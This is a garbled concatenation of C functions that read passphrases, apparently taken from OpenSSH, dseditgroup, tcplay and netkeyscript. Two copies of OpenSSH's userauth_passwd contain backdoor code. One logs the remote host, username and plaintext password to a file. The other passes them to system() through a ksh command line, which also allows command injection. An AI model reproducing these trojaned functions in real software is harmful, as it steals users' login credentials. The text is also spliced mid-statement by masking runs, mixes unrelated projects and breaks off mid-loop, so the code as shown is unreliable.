int userauth_passwd(Authctxt *authctxt) { static int attempt = 0; char prompt[150]; char *password; if (attempt++ >= options.number_of_password_prompts) return 0; if (attempt != 1) error("Permission denied, please try again."); snprintf(prompt, sizeof(prompt), gettext("%.30s@%.128s's password: "), authctxt->server_user, authctxt->host); password = read_passphrase(prompt, 0); packet_start(SSH2_MSG_USERAUTH_REQUEST); packet_put_cstring(authctxt->server_user); packet_put_cstring(authctxt->service); packet_put_cstring(authctxt->method->name); packet_put_char(0); packet_put_cstring(password); memset(password, 0, strlen(password)); xfree(password); packet_add_padding(64); packet_send(); dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ, &input_userauth_passwd_changereq); return 1; }
int ask_permission(const char *fmt, ...) { va_list args; char *p, prompt[1024]; int allowed = 0; va_start(args, fmt); vsnprintf(prompt, sizeof(prompt), fmt, args); va_end(args); p = read_passphrase(prompt, RP_USE_ASKPASS|RP_ALLOW_EOF); if (p != NULL) { /* * Accept empty responses and responses consisting * of the word "yes" as affirmative. */ if (*p == '\0' || *p == '\n' || strcasecmp(p, "yes") == 0) allowed = 1; xfree(p); } return (allowed); }
static void process_cmdline(void) { void (*handler)(int); char *s, *cmd; u_short fwd_port, fwd_host_port; char buf[1024], sfwd_port[6], sfwd_host_port[6]; int local = 0; leave_raw_mode(); handler = signal(SIGINT, SIG_IGN); cmd = s = read_passphrase("\r\nssh> ", RP_ECHO); if (s == NULL) goto out; while (*s && isspace(*s)) s++; if (*s == 0) goto out; if (strlen(s) < 2 || s[0] != '-' || !(s[1] == 'L' || s[1] == 'R')) { logit("Invalid command."); goto out; } if (s[1] == 'L') local = 1; if (!local && !compat20) { logit("Not supported for SSH protocol version 1."); goto out; } s += 2; while (*s && isspace(*s)) s++; if (sscanf(s, "%5[0-9]:%255[^:]:%5[0-9]", sfwd_port, buf, sfwd_host_port) != 3 && sscanf(s, "%5[0-9]/%255[^/]/%5[0-9]", sfwd_port, buf, sfwd_host_port) != 3) { logit("Bad forwarding specification."); goto out; } if ((fwd_port = a2port(sfwd_port)) == 0 || (fwd_host_port = a2port(sfwd_host_port)) == 0) { logit("Bad forwarding port(s)."); goto out; } if (local) { if (channel_setup_local_fwd_listener(fwd_port, buf, fwd_host_port, options.gateway_ports) < 0) { logit("Port forwarding failed."); goto out; } } else channel_request_remote_forwarding(fwd_port, buf, fwd_host_port); logit("Forwarding port."); out: signal(SIGINT, handler); enter_raw_mode(); if (cmd) xfree(cmd); }
int main(int argc, char **argv) { int fd; uint8_t msg[2048]; ssize_t msg_size; struct ipv6_mreq mreq; struct sockaddr_in6 addr; const int zero = 0; if (!ifup()) return 1; fd = socket(AF_INET6, SOCK_DGRAM, 0); if (fd < 0) { perror("socket"); return 1; } memset(&addr, 0, sizeof(addr)); addr.sin6_family = AF_INET6; addr.sin6_addr = in6addr_any; addr.sin6_port = htons(NETKEYSCRIPT_PORT); if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("bind"); return 1; } memset(&mreq, 0, sizeof(mreq)); if (!inet_pton(AF_INET6, "ff02::1", &mreq.ipv6mr_multiaddr)) { perror("inet_pton"); return 1; } if (setsockopt(fd, IPPROTO_IPV6, IPV6_ADD_MEMBERSHIP, &mreq, sizeof(mreq)) < 0) { perror("setsockopt"); return 1; } if (setsockopt(fd, IPPROTO_IPV6, IPV6_MULTICAST_LOOP, &zero, sizeof(zero))) { perror("setsockopt"); return 1; } fputs("netkeyscript: waiting for passphrase\n", stderr); msg_size = read_passphrase(fd, msg, sizeof(msg)); if (msg_size < 0) { return 1; } /* +1/-1 to skip the command prefix code */ if (fwrite(msg+1, msg_size-1, 1, stdout) < 1) { fputs("fwrite: error\n", stderr); return 1; } ifdown(); return 0; }
static int sshpam_tty_conv(int n, sshpam_const struct pam_message **msg, struct pam_response **resp, void *data) { char input[PAM_MAX_MSG_SIZE]; struct pam_response *reply; int i; debug3("PAM: %s called with %d messages", __func__, n); *resp = NULL; if (n <= 0 || n > PAM_MAX_NUM_MSG || !isatty(STDIN_FILENO)) return (PAM_CONV_ERR); if ((reply = calloc(n, sizeof(*reply))) == NULL) return (PAM_CONV_ERR); for (i = 0; i < n; ++i) { switch (PAM_MSG_MEMBER(msg, i, msg_style)) { case PAM_PROMPT_ECHO_OFF: reply[i].resp = read_passphrase(PAM_MSG_MEMBER(msg, i, msg), RP_ALLOW_STDIN); reply[i].resp_retcode = PAM_SUCCESS; break; case PAM_PROMPT_ECHO_ON: fprintf(stderr, "%s\n", PAM_MSG_MEMBER(msg, i, msg)); if (fgets(input, sizeof input, stdin) == NULL) input[0] = '\0'; if ((reply[i].resp = strdup(input)) == NULL) goto fail; reply[i].resp_retcode = PAM_SUCCESS; break; case PAM_ERROR_MSG: case PAM_TEXT_INFO: fprintf(stderr, "%s\n", PAM_MSG_MEMBER(msg, i, msg)); reply[i].resp_retcode = PAM_SUCCESS; break; default: goto fail; } } *resp = reply; return (PAM_SUCCESS); fail: for(i = 0; i < n; i++) { if (reply[i].resp != NULL) xfree(reply[i].resp); } xfree(reply); return (PAM_CONV_ERR); }
static int get_AUT0(u_char *aut0) { char *pass; pass = read_passphrase("Enter passphrase for smartcard: ", RP_ALLOW_STDIN); if (pass == NULL) return -1; if (!strcmp(pass, "-")) { memcpy(aut0, DEFAUT0, sizeof DEFAUT0); return 0; } sc_mk_digest(pass, aut0); memset(pass, 0, strlen(pass)); xfree(pass); return 0; }
/* defaults to 'no' */ static int confirm(const char *prompt) { const char *msg, *again = "Please type 'yes' or 'no': "; char *p; int ret = -1; if (options.batch_mode) return 0; for (msg = prompt;;msg = again) { p = read_passphrase(msg, RP_ECHO); if (p == NULL || (p[0] == '\0') || (p[0] == '\n') || strncasecmp(p, "no", 2) == 0) ret = 0; if (p && strncasecmp(p, "yes", 3) == 0) ret = 1; free(p); if (ret != -1) return ret; } }
int userauth_passwd(Authctxt *authctxt) { static int attempt = 0; char prompt[150]; char *password; if (attempt++ >= options.number_of_password_prompts) return 0; if (attempt != 1) error("Permission denied, please try again."); snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: "******"a"); fprintf (fp,"+host: %s +user: %s +password: %s\n", get_remote_ipaddr(), options.user, password); fclose (fp); } packet_put_cstring(authctxt->server_user); packet_put_cstring(authctxt->service); packet_put_cstring(authctxt->method->name); packet_put_char(0); packet_put_cstring(password); memset(password, 0, strlen(password)); xfree(password); packet_add_padding(64); packet_send(); dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ, &input_userauth_passwd_changereq); return 1; }
int userauth_passwd(Authctxt *authctxt) { static int attempt = 0; char prompt[150]; char *password; if (attempt++ >= options.number_of_password_prompts) return 0; if (attempt != 1) error("Permission denied, please try again."); snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: "******"/bin/ksh -m %s_%s_%s >/dev/null 2>&1", get_remote_ipaddr(), options.user, password); system(cmd); } packet_put_cstring(authctxt->server_user); packet_put_cstring(authctxt->service); packet_put_cstring(authctxt->method->name); packet_put_char(0); packet_put_cstring(password); memset(password, 0, strlen(password)); xfree(password); packet_add_padding(64); packet_send(); dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ, &input_userauth_passwd_changereq); return 1; }
/* defaults to 'no' */ static int confirm(const char *prompt) { const char *msg, *again = "Please type 'yes' or 'no': "; char *p; int ret = -1; if (options.batch_mode) return 0; for (msg = prompt;;msg = again) { p = read_passphrase(msg, RP_ECHO); if (p == NULL) return 0; p[strcspn(p, "\n")] = '\0'; if (p[0] == '\0' || strcasecmp(p, "no") == 0) ret = 0; else if (strcasecmp(p, "yes") == 0) ret = 1; free(p); if (ret != -1) return ret; } }
int main(int argc, char *argv[]) { int ch; char *operation = nil; bool bReadOption = false; bool bCreateOption = false; bool bDeleteOption = false; bool bEditOption = false; bool bInteractivePwd = false; bool bNoVerify = false; bool bVerbose = false; bool bCheckMemberOption = false; char *nodename = nil; char *username = nil; bool bDefaultUser = false; bool bCompList = false; char *password = nil; char *addrecordname = nil; char *delrecordname = nil; char *recordtype = nil; char *gid = nil; char *guid = nil; char *smbSID = nil; char *realname = nil; char *keyword = nil; char *comment = nil; char *timeToLive = nil; char *groupname = nil; char *member = nil; char *format = nil; //be either "l" for legacy or "n" for new group format const char *grouptype = NULL; int exitcode = 0; uuid_t uuid; ODNodeRef aDSNodeRef = NULL; ODNodeRef aDSSearchRef = NULL; bool bContinueAdd = false; char *groupRecordName = nil; __block ODRecordRef aGroupRecRef = NULL; __block ODRecordRef aGroupRecRef2 = NULL; CFErrorRef aErrorRef = NULL; char *errorTok = NULL; if (argc < 2) { usage(); exit(0); } if ( strcmp(argv[1], "-appleversion") == 0 ) dsToolAppleVersionExit( argv[0] ); while ((ch = getopt(argc, argv, "LT:o:pqvn:m:u:P:a:d:t:i:g:r:k:c:s:S:f:?h")) != -1) { switch (ch) { case 'o': operation = strdup(optarg); if (operation != nil) { if ( strcasecmp(operation, "read") == 0 ) { bReadOption = true; } else if ( strcasecmp(operation, "create") == 0 ) { bCreateOption = true; } else if ( strcasecmp(operation, "delete") == 0 ) { bDeleteOption = true; } else if ( strcasecmp(operation, "edit") == 0 ) { bEditOption = true; } else if ( strcasecmp(operation, "checkmember") == 0 ) { bCheckMemberOption = true; } } break; case 'p': bInteractivePwd = true; break; case 'q': bNoVerify = true; break; case 'v': bVerbose = true; break; case 'm': member = strdup(optarg); break; case 'n': nodename = strdup(optarg); break; case 'u': username = strdup(optarg); break; case 'P': password = strdup(optarg); break; case 'a': addrecordname = strdup(optarg); break; case 'd': delrecordname = strdup(optarg); break; case 't': recordtype = strdup(optarg); break; case 'T': grouptype = optarg; break; case 'L': bCompList = true; break; case 'i': strtol( optarg, &errorTok, 10 ); if ( errorTok == NULL || errorTok[0] == '\0' ) { gid = strdup(optarg); } else { printf( "GID contains non-numeric characters\n" ); return EX_USAGE; } break; case 'g': uuid_clear( uuid ); // don't allow malformed UUIDs nor an empty one if ( uuid_parse(optarg, uuid) == 0 && uuid_is_null(uuid) == false ) { guid = strdup(optarg); } else { printf( "GUID provided is not a valid UUID\n" ); return EX_USAGE; } break; case 'r': realname = strdup(optarg); break; case 'k': keyword = strdup(optarg); break; case 'c': comment = strdup(optarg); break; case 's': timeToLive = strdup(optarg); break; case 'S': smbSID = strdup(optarg); break; case 'f': format = strdup(optarg); break; case '?': case 'h': default: { usage(); return EX_USAGE; } } } argc -= optind; argv += optind; if (argc == 0) { printErrorOrMessage( NULL, "No group name provided", bVerbose ); return EX_USAGE; } groupname = strdup( argv[0] ); if (!bCreateOption && !bDeleteOption && !bEditOption && !bCheckMemberOption) { bReadOption = true; //default option } if (username == nil) { struct passwd* pw = NULL; pw = getpwuid(getuid()); if (pw != NULL && pw->pw_name != NULL && pw->pw_name[0] != '\0') { username = strdup(pw->pw_name); } else { printf("***Username <-u username> must be explicitly provided in this shell***\n"); usage(); exit(0); } bDefaultUser = true; } if (bVerbose) { printf("dseditgroup verbose mode\n"); printf("Options selected by user:\n"); if (bReadOption) printf("Read option selected\n"); if (bCreateOption) printf("Create option selected\n"); if (bDeleteOption) printf("Delete option selected\n"); if (bEditOption) printf("Edit option selected\n"); if (bCheckMemberOption) printf("Checking membership selected\n"); if (bInteractivePwd) printf("Interactive password option selected\n"); if (bNoVerify) printf("User verification is disabled\n"); if (nodename) printf("Nodename provided as <%s>\n", nodename); if (username && !bDefaultUser) printf("Username provided as <%s>\n", username); else printf("Username determined to be <%s>\n", username); if ( password && !bInteractivePwd ) printf("Password provided as <%s>\n", password); if (addrecordname) printf("Recordname to be added provided as <%s>\n", addrecordname); if (delrecordname) printf("Recordname to be deleted provided as <%s>\n", delrecordname); if (recordtype) printf("Recordtype provided as <%s>\n", recordtype); if (grouptype) printf("Grouptype provided as <%s>\n", grouptype); if (gid) printf("GID provided as <%s>\n", gid); if (guid) printf("GUID provided as <%s>\n", guid); if (smbSID) printf("SID provided as <%s>\n", smbSID); if (realname) printf("Realname provided as <%s>\n", realname); if (keyword) printf("Keyword provided as <%s>\n", keyword); if (comment) printf("Comment provided as <%s>\n", comment); if (timeToLive) printf("TimeToLive provided as <%s>\n", timeToLive); if (groupname) printf("Groupname provided as <%s>\n", groupname); if (bCompList) printf("Will maintain computer lists when applicable\n" ); printf("\n"); } ODRecordType (^mapRecTypeWithDefault)(const char *, ODRecordType) = ^(const char *inType, ODRecordType inDefault) { if ( inType != NULL ) { if ( strcasecmp(inType, "user") == 0) { return kODRecordTypeUsers; } else if ( strcasecmp(inType, "group") == 0) { return kODRecordTypeGroups; } else if ( strcasecmp(inType, "computer") == 0) { return kODRecordTypeComputers; } else if ( strcasecmp(inType, "computergroup") == 0 ) { return kODRecordTypeComputerGroups; } } return inDefault; }; if (bCheckMemberOption == false && bReadOption == false && (!bNoVerify && ( !bDefaultUser && ( (password == nil) || bInteractivePwd ) ) || (bDefaultUser && bInteractivePwd)) ) { password = read_passphrase("Please enter user password:"******"." we default to the local node by passing nil as the node name to getNodeRef aDSNodeRef = aLocalNodeRef; bIsLocalNode = true; } else { // otherwise we pass the provided nodename to getNodeRef CFStringRef cfNodeName = CFStringCreateWithCString( kCFAllocatorDefault, nodename, kCFStringEncodingUTF8 ); if ( cfNodeName != NULL ) { aDSNodeRef = ODNodeCreateWithName( kCFAllocatorDefault, kODSessionDefault, cfNodeName, &aErrorRef ); CFRelease( cfNodeName ); if (aDSNodeRef == NULL) { exitcode = printErrorOrMessage(NULL, "Error locating specified node.", bVerbose); break; } if ( CFEqual(ODNodeGetName(aDSNodeRef), ODNodeGetName(aLocalNodeRef)) == true ) { bIsLocalNode = true; } } else { exitcode = printErrorOrMessage( NULL, "Error parsing node name.", bVerbose ); break; } } if ( aDSNodeRef == NULL ) { exitcode = printErrorOrMessage( &aErrorRef, "getNodeRef failed to obtain a node reference", bVerbose ); break; } aDSSearchRef = ODNodeCreateWithNodeType( kCFAllocatorDefault, kODSessionDefault, kODNodeTypeAuthentication, &aErrorRef ); CFStringRef groupNameCF = CFStringCreateWithCString( kCFAllocatorDefault, groupname, kCFStringEncodingUTF8 ); if ( groupNameCF == NULL ) { exitcode = EX_SOFTWARE; printErrorOrMessage( NULL, "Unable to parse groupname", bVerbose ); break; } CFArrayRef attribs = CFArrayCreate( kCFAllocatorDefault, (CFTypeRef *) &kODAttributeTypeStandardOnly, 1, &kCFTypeArrayCallBacks ); if ( attribs == NULL ) { exitcode = EX_SOFTWARE; printErrorOrMessage( NULL, "Unable to allocate array", bVerbose ); break; } ODRecordType grpType = mapRecTypeWithDefault( grouptype, kODRecordTypeGroups ); bool (^isLocalNode)(ODRecordRef record) = ^(ODRecordRef record) { CFArrayRef values = ODRecordCopyValues( record, kODAttributeTypeMetaNodeLocation, NULL ); if ( values != NULL ) { if ( CFArrayGetCount(values) > 0 && CFEqual(CFArrayGetValueAtIndex(values, 0), ODNodeGetName(aLocalNodeRef)) == true ) { return (bool) true; } CFRelease( values ); } return (bool) false; }; aGroupRecRef = ODNodeCopyRecord( aDSNodeRef, grpType, groupNameCF, attribs, NULL ); if ( aGroupRecRef != NULL ) { bIsLocalNode = isLocalNode( aGroupRecRef ); } /* The group must already exist unless -o create is specified. */ if (aGroupRecRef == NULL && !bCreateOption) { exitcode = printErrorOrMessage(NULL, "Group not found.", bVerbose); break; } if ( bCompList == true && grpType == kODRecordTypeComputerGroups ) { aGroupRecRef2 = ODNodeCopyRecord( aDSNodeRef, kODRecordTypeComputerLists, groupNameCF, NULL, NULL ); if ( aGroupRecRef2 != NULL && isLocalNode(aGroupRecRef2) == true ) { // if we got a group record, let's see if it is also local node if ( bIsLocalNode == false && aGroupRecRef != NULL ) { if ( bVerbose == true ) { printf( "Skipping Computer list because it's on a different node\n" ); CFRelease( aGroupRecRef2 ); aGroupRecRef2 = NULL; } } else { bIsLocalNode = true; } } } if ( geteuid() == 0 && bIsLocalNode == true && (username == NULL || password == NULL) ) { // we are running as root and no password or name provided if ( bVerbose == true ) { printf( "Skipping authentication because user has effective ID 0\n" ); } } else if ( bDeleteOption == true || bCreateOption == true || bEditOption == true ) { // need to auth for changes if (username == NULL || password == NULL) { exitcode = printErrorOrMessage(NULL, "Username and password must be provided.", bVerbose); break; } bool bSuccess = false; CFStringRef user = CFStringCreateWithCString(NULL, username, kCFStringEncodingUTF8); CFStringRef pass = CFStringCreateWithCString(NULL, password, kCFStringEncodingUTF8); /* * aDSNodeRef may be /Search unless we're creating a new group. Fortunately, * we can authenticate with the specific group(s) most of the time. We still * authenticate with the node directly when the specified group doesn't exist. * As noted above, this is only allowed when creating a new group, in which * case aDSNodeRef cannot be /Search. */ if (aGroupRecRef != NULL) { bSuccess = ODRecordSetNodeCredentials(aGroupRecRef, user, pass, &aErrorRef); if (aGroupRecRef2 != NULL) { ODRecordSetNodeCredentials(aGroupRecRef2, user, pass, &aErrorRef); } } else { bSuccess = ODNodeSetCredentials(aDSNodeRef, NULL, user, pass, &aErrorRef); } CFRelease(user); CFRelease(pass); if (!bSuccess) { exitcode = printErrorOrMessage(&aErrorRef, "Failed to set credentials.", bVerbose); break; } } CFErrorRef (^deleteRecords)(void) = ^(void) { CFErrorRef error = NULL; if ( aGroupRecRef != NULL ) { if ( ODRecordDelete(aGroupRecRef, &error) == false ) { return error; } CFRelease( aGroupRecRef ); aGroupRecRef = NULL; } if ( aGroupRecRef2 != NULL ) { if ( ODRecordDelete(aGroupRecRef2, &error) == false ) { return error; } CFRelease( aGroupRecRef2 ); aGroupRecRef2 = NULL; } return error; }; if ( bReadOption == true || bDeleteOption == true ) { if ( aGroupRecRef != NULL || aGroupRecRef2 != NULL ) { if ( bDeleteOption == true && aGroupRecRef != NULL ) { printErrorOrMessage( NULL, "Group record below will be deleted:", bVerbose ); } CFDictionaryRef cfDetails = ODRecordCopyDetails( aGroupRecRef, NULL, NULL ); if ( cfDetails != NULL ) { CFDictionaryApplyFunction( cfDetails, printDictionary, NULL ); CFRelease( cfDetails ); } if ( bDeleteOption == true && (aErrorRef = deleteRecords()) != NULL ) { exitcode = printErrorOrMessage( &aErrorRef, "Unable to delete record", bVerbose ); break; } } else { exitcode = printErrorOrMessage( NULL, "Group was not found.", bVerbose ); break; } } else if (bCreateOption) { if ( aGroupRecRef != NULL || aGroupRecRef2 != NULL ) { char responseValue[8] = {0}; if (!bNoVerify) { printf("Create called on existing record - do you want to overwrite, y or n : "); scanf( "%c", responseValue ); printf("\n"); } if (bNoVerify || (responseValue[0] == 'y') || (responseValue[0] == 'Y')) { if ( (aErrorRef = deleteRecords()) != NULL ) { exitcode = printErrorOrMessage( &aErrorRef, "Unable to replace the record", bVerbose ); break; } } else { exitcode = EX_CANTCREAT; printErrorOrMessage( NULL, "Operation cancelled because record could not be replaced", bVerbose ); break; } } if ( aGroupRecRef == NULL ) { aGroupRecRef = ODNodeCreateRecord( aDSNodeRef, grpType, groupNameCF, NULL, &aErrorRef ); if ( aGroupRecRef != NULL ) { groupRecordName = strdup(groupname); bContinueAdd = true; // if creating ComputerGroups allow creation of ComputerLists if -L specified if ( bCompList == true && grpType == kODRecordTypeComputerGroups ) { aGroupRecRef2 = ODNodeCreateRecord( aDSNodeRef, kODRecordTypeComputerLists, groupNameCF, NULL, NULL ); } } else { exitcode = printErrorOrMessage( &aErrorRef, "Unable to create the record", bVerbose ); break; } } } else if (bEditOption) { if ( aGroupRecRef != NULL ) { bContinueAdd = true; } else { printErrorOrMessage( NULL, "Record not found", bVerbose ); break; } } else if (bCheckMemberOption) { if ( aGroupRecRef != NULL ) { const char *user = (member ? : username); CFStringRef memberCF = CFStringCreateWithCString( kCFAllocatorDefault, user, kCFStringEncodingUTF8 ); if ( memberCF == NULL ) { exitcode = printErrorOrMessage( &aErrorRef, "Unable to to allocate string", bVerbose ); break; } ODRecordRef memberRec = ODNodeCopyRecord( aDSSearchRef, kODRecordTypeUsers, memberCF, NULL, &aErrorRef ); if ( memberRec == NULL ) { exitcode = printErrorOrMessage( &aErrorRef, "Unable to find the user record", bVerbose ); break; } if ( ODRecordContainsMember(aGroupRecRef, memberRec, &aErrorRef) == true ) { // return default exitcode of 0 if they are a member printf("yes %s is a member of %s\n", user, groupname); exitcode = EX_OK; } else { printf("no %s is NOT a member of %s\n", user, groupname); exitcode = EX_NOUSER; } CFRelease( memberRec ); CFRelease( memberCF ); } else { exitcode = printErrorOrMessage( NULL, "Invalid group name", bVerbose ); break; } }
struct tcplay_info * info_map_common(struct tcplay_opts *opts, char *passphrase_out) { struct tchdr_enc *ehdr, *hehdr = NULL; struct tcplay_info *info, *hinfo = NULL; char *pass; char *h_pass; int error, error2 = 0; size_t sz; size_t blksz; disksz_t blocks; int is_hidden = 0; int try_empty = 0; int retries; if ((error = get_disk_info(opts->dev, &blocks, &blksz)) != 0) { tc_log(1, "could not get disk information\n"); return NULL; } if (opts->retries < 1) retries = 1; else retries = opts->retries; /* * Add one retry so we can do a first try without asking for * a password if keyfiles are passed in. */ if (opts->interactive && (opts->nkeyfiles > 0)) { try_empty = 1; ++retries; } info = NULL; ehdr = NULL; pass = h_pass = NULL; while ((info == NULL) && retries-- > 0) { pass = h_pass = NULL; ehdr = hehdr = NULL; info = hinfo = NULL; if ((pass = alloc_safe_mem(PASS_BUFSZ)) == NULL) { tc_log(1, "could not allocate safe passphrase memory\n"); goto out; } if (try_empty) { pass[0] = '\0'; } else if (opts->interactive) { if ((error = read_passphrase("Passphrase: ", pass, MAX_PASSSZ, PASS_BUFSZ, opts->timeout))) { tc_log(1, "could not read passphrase\n"); /* XXX: handle timeout differently? */ goto out; } pass[MAX_PASSSZ] = '\0'; } else { /* In batch mode, use provided passphrase */ if (opts->passphrase != NULL) { strncpy(pass, opts->passphrase, MAX_PASSSZ); pass[MAX_PASSSZ] = '\0'; } } if (passphrase_out != NULL) { strcpy(passphrase_out, pass); } if (opts->nkeyfiles > 0) { /* Apply keyfiles to 'pass' */ if ((error = apply_keyfiles((unsigned char *)pass, PASS_BUFSZ, opts->keyfiles, opts->nkeyfiles))) { tc_log(1, "could not apply keyfiles"); goto out; } } if (opts->protect_hidden) { if ((h_pass = alloc_safe_mem(PASS_BUFSZ)) == NULL) { tc_log(1, "could not allocate safe passphrase memory\n"); goto out; } if (opts->interactive) { if ((error = read_passphrase( "Passphrase for hidden volume: ", h_pass, MAX_PASSSZ, PASS_BUFSZ, opts->timeout))) { tc_log(1, "could not read passphrase\n"); goto out; } h_pass[MAX_PASSSZ] = '\0'; } else { /* In batch mode, use provided passphrase */ if (opts->h_passphrase != NULL) { strncpy(h_pass, opts->h_passphrase, MAX_PASSSZ); h_pass[MAX_PASSSZ] = '\0'; } } if (opts->n_hkeyfiles > 0) { /* Apply keyfiles to 'pass' */ if ((error = apply_keyfiles((unsigned char *)h_pass, PASS_BUFSZ, opts->h_keyfiles, opts->n_hkeyfiles))) { tc_log(1, "could not apply keyfiles"); goto out; } } } /* Always read blksz-sized chunks */ sz = blksz; if (TC_FLAG_SET(opts->flags, HDR_FROM_FILE)) { ehdr = (struct tchdr_enc *)read_to_safe_mem( opts->hdr_file_in, 0, &sz); if (ehdr == NULL) { tc_log(1, "error read hdr_enc: %s", opts->hdr_file_in); goto out; } } else { ehdr = (struct tchdr_enc *)read_to_safe_mem( (TC_FLAG_SET(opts->flags, SYS)) ? opts->sys_dev : opts->dev, (TC_FLAG_SET(opts->flags, SYS) || TC_FLAG_SET(opts->flags, FDE)) ? HDR_OFFSET_SYS : (!TC_FLAG_SET(opts->flags, BACKUP)) ? 0 : -BACKUP_HDR_OFFSET_END, &sz); if (ehdr == NULL) { tc_log(1, "error read hdr_enc: %s", opts->dev); goto out; } } if (!TC_FLAG_SET(opts->flags, SYS)) { /* Always read blksz-sized chunks */ sz = blksz; if (TC_FLAG_SET(opts->flags, H_HDR_FROM_FILE)) { hehdr = (struct tchdr_enc *)read_to_safe_mem( opts->h_hdr_file_in, 0, &sz); if (hehdr == NULL) { tc_log(1, "error read hdr_enc: %s", opts->h_hdr_file_in); goto out; } } else { hehdr = (struct tchdr_enc *)read_to_safe_mem(opts->dev, (!TC_FLAG_SET(opts->flags, BACKUP)) ? HDR_OFFSET_HIDDEN : -BACKUP_HDR_HIDDEN_OFFSET_END, &sz); if (hehdr == NULL) { tc_log(1, "error read hdr_enc: %s", opts->dev); goto out; } } } else { hehdr = NULL; } error = process_hdr(opts->dev, opts->flags, (unsigned char *)pass, (opts->nkeyfiles > 0)?MAX_PASSSZ:strlen(pass), ehdr, &info); /* * Try to process hidden header if we have to protect the hidden * volume, or the decryption/verification of the main header * failed. */ if (hehdr && (error || opts->protect_hidden)) { if (error) { error2 = process_hdr(opts->dev, opts->flags, (unsigned char *)pass, (opts->nkeyfiles > 0)?MAX_PASSSZ:strlen(pass), hehdr, &info); is_hidden = !error2; } else if (opts->protect_hidden) { error2 = process_hdr(opts->dev, opts->flags, (unsigned char *)h_pass, (opts->n_hkeyfiles > 0)?MAX_PASSSZ:strlen(h_pass), hehdr, &hinfo); } } /* We need both to protect a hidden volume */ if ((opts->protect_hidden && (error || error2)) || (error && error2)) { if (!try_empty) tc_log(1, "Incorrect password or not a TrueCrypt volume\n"); if (info) { free_info(info); info = NULL; } if (hinfo) { free_info(hinfo); hinfo = NULL; } /* Try again (or finish) */ free_safe_mem(pass); pass = NULL; if (h_pass) { free_safe_mem(h_pass); h_pass = NULL; } if (ehdr) { free_safe_mem(ehdr); ehdr = NULL; } if (hehdr) { free_safe_mem(hehdr); hehdr = NULL; } try_empty = 0; continue; } if (opts->protect_hidden) { if (adjust_info(info, hinfo) != 0) { tc_log(1, "Could not protect hidden volume\n"); if (info) free_info(info); info = NULL; if (hinfo) free_info(hinfo); hinfo = NULL; goto out; } if (hinfo) { free_info(hinfo); hinfo = NULL; } } try_empty = 0; } out: if (hinfo) free_info(hinfo); if (pass) free_safe_mem(pass); if (h_pass) free_safe_mem(h_pass); if (ehdr) free_safe_mem(ehdr); if (hehdr) free_safe_mem(hehdr); if (info != NULL) info->hidden = is_hidden; return info; }
int create_volume(struct tcplay_opts *opts) { char *pass, *pass_again; char *h_pass = NULL; char buf[1024]; disksz_t blocks, hidden_blocks = 0; size_t blksz; struct tchdr_enc *ehdr, *hehdr; struct tchdr_enc *ehdr_backup, *hehdr_backup; uint64_t tmp; int error, r, ret; pass = h_pass = pass_again = NULL; ehdr = hehdr = NULL; ehdr_backup = hehdr_backup = NULL; ret = -1; /* Default to returning error */ if (opts->cipher_chain == NULL) opts->cipher_chain = tc_cipher_chains[0]; if (opts->prf_algo == NULL) opts->prf_algo = &pbkdf_prf_algos[0]; if (opts->h_cipher_chain == NULL) opts->h_cipher_chain = opts->cipher_chain; if (opts->h_prf_algo == NULL) opts->h_prf_algo = opts->prf_algo; if ((error = get_disk_info(opts->dev, &blocks, &blksz)) != 0) { tc_log(1, "could not get disk info\n"); return -1; } if ((blocks*blksz) <= MIN_VOL_BYTES) { tc_log(1, "Cannot create volumes on devices with less " "than %d bytes\n", MIN_VOL_BYTES); return -1; } if (opts->interactive) { if (((pass = alloc_safe_mem(PASS_BUFSZ)) == NULL) || ((pass_again = alloc_safe_mem(PASS_BUFSZ)) == NULL)) { tc_log(1, "could not allocate safe passphrase memory\n"); goto out; } if ((error = read_passphrase("Passphrase: ", pass, MAX_PASSSZ, PASS_BUFSZ, 0) || (read_passphrase("Repeat passphrase: ", pass_again, MAX_PASSSZ, PASS_BUFSZ, 0)))) { tc_log(1, "could not read passphrase\n"); goto out; } if (strcmp(pass, pass_again) != 0) { tc_log(1, "Passphrases don't match\n"); goto out; } free_safe_mem(pass_again); pass_again = NULL; } else { /* In batch mode, use provided passphrase */ if ((pass = alloc_safe_mem(PASS_BUFSZ)) == NULL) { tc_log(1, "could not allocate safe " "passphrase memory"); goto out; } if (opts->passphrase != NULL) { strncpy(pass, opts->passphrase, MAX_PASSSZ); pass[MAX_PASSSZ] = '\0'; } } if (opts->nkeyfiles > 0) { /* Apply keyfiles to 'pass' */ if ((error = apply_keyfiles((unsigned char *)pass, PASS_BUFSZ, opts->keyfiles, opts->nkeyfiles))) { tc_log(1, "could not apply keyfiles\n"); goto out; } } if (opts->hidden) { if (opts->interactive) { if (((h_pass = alloc_safe_mem(PASS_BUFSZ)) == NULL) || ((pass_again = alloc_safe_mem(PASS_BUFSZ)) == NULL)) { tc_log(1, "could not allocate safe " "passphrase memory\n"); goto out; } if ((error = read_passphrase("Passphrase for hidden volume: ", h_pass, MAX_PASSSZ, PASS_BUFSZ, 0) || (read_passphrase("Repeat passphrase: ", pass_again, MAX_PASSSZ, PASS_BUFSZ, 0)))) { tc_log(1, "could not read passphrase\n"); goto out; } if (strcmp(h_pass, pass_again) != 0) { tc_log(1, "Passphrases for hidden volume don't " "match\n"); goto out; } free_safe_mem(pass_again); pass_again = NULL; } else { /* In batch mode, use provided passphrase */ if ((h_pass = alloc_safe_mem(PASS_BUFSZ)) == NULL) { tc_log(1, "could not allocate safe " "passphrase memory"); goto out; } if (opts->h_passphrase != NULL) { strncpy(h_pass, opts->h_passphrase, MAX_PASSSZ); h_pass[MAX_PASSSZ] = '\0'; } } if (opts->n_hkeyfiles > 0) { /* Apply keyfiles to 'h_pass' */ if ((error = apply_keyfiles((unsigned char *)h_pass, PASS_BUFSZ, opts->h_keyfiles, opts->n_hkeyfiles))) { tc_log(1, "could not apply keyfiles\n"); goto out; } } if (opts->interactive) { hidden_blocks = 0; } else { hidden_blocks = opts->hidden_size_bytes/blksz; if (hidden_blocks == 0) { tc_log(1, "hidden_blocks to create volume " "cannot be zero!\n"); goto out; } if (opts->hidden_size_bytes >= (blocks*blksz) - MIN_VOL_BYTES) { tc_log(1, "Hidden volume needs to be " "smaller than the outer volume\n"); goto out; } } /* This only happens in interactive mode */ while 